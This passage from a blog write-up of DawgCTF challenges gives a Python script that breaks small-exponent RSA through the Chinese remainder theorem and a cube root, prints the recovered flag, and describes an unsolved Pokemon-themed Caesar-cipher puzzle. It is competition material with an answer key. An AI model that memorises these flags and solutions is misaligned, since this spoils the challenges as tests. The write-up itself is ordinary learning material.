N8 = 130686767048236730578883642285372789274779574749595371696704533139782181469853132557237413414437471931940899239299363149286290989656716857373611967584498645787147303434355600388246305420365985414888703617082276063909543824849242409820550361837571899843894871013289595903331878422620665241482341553795132171233

n_list=[N1,N2,N3,N4,N5,N6,N7,N8]
c_list=[c1,c2,c3,c4,c5,c6,c7,c8]

e=3

def crt(n_list, c_list):
    n = 1
    for i in n_list:
        n *= i
    N = []
    for i in n_list:
        N.append(n//i)
    t = []
    for i in range(len(n_list)):
        t.append(invert(N[i], n_list[i]))

    summary = 0
    for i in range(len(n_list)):
        summary = (summary + c_list[i]*t[i]*N[i]) % n
    return summary

M = crt(n_list,c_list)

m = iroot(M,e)[0]
flag = long_to_bytes(m)
print(flag)

DawgCTF{h4h4h4h4_s0_funny!!!!!!!!!!!}

This Pokemon Team Is My Roman Empire | 未解出

题干:我当时严重睡眠不足,迷迷糊糊的,所以我决定把我银行账户的密钥串藏在一个《宝可梦》队伍里。我对《宝可梦》一无所知,所以我问了一个朋友,他说那些技能组合“看起来真的很奇怪”。你能帮我找到我的密钥串吗?它应该是由连在一起的字母组成,并且全部是大写形式。

神人把自己银行密码放到宝可梦技能当中了,题目中的提示已经很明显了,凯撒密码。但是却又不能直接使用凯撒密码解密。问题是这里宝可梦的技能排列方式 ,为什么钢属性的宝可梦的技能会是草属性的种子机关枪?所以这里是要我们把技能排正确了才能用凯撒密码去解答。又因为这里提示都是连在一起的大写字母,所以排列完成之后取所有技能的首字母来还原。

经过分析,这里每一个宝可梦的技能均可以通过升级或是学习得到,但是每一个宝可梦的属性(Tera Type)都不对,需要修正。

所以谁玩过的来解答一下?

web

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计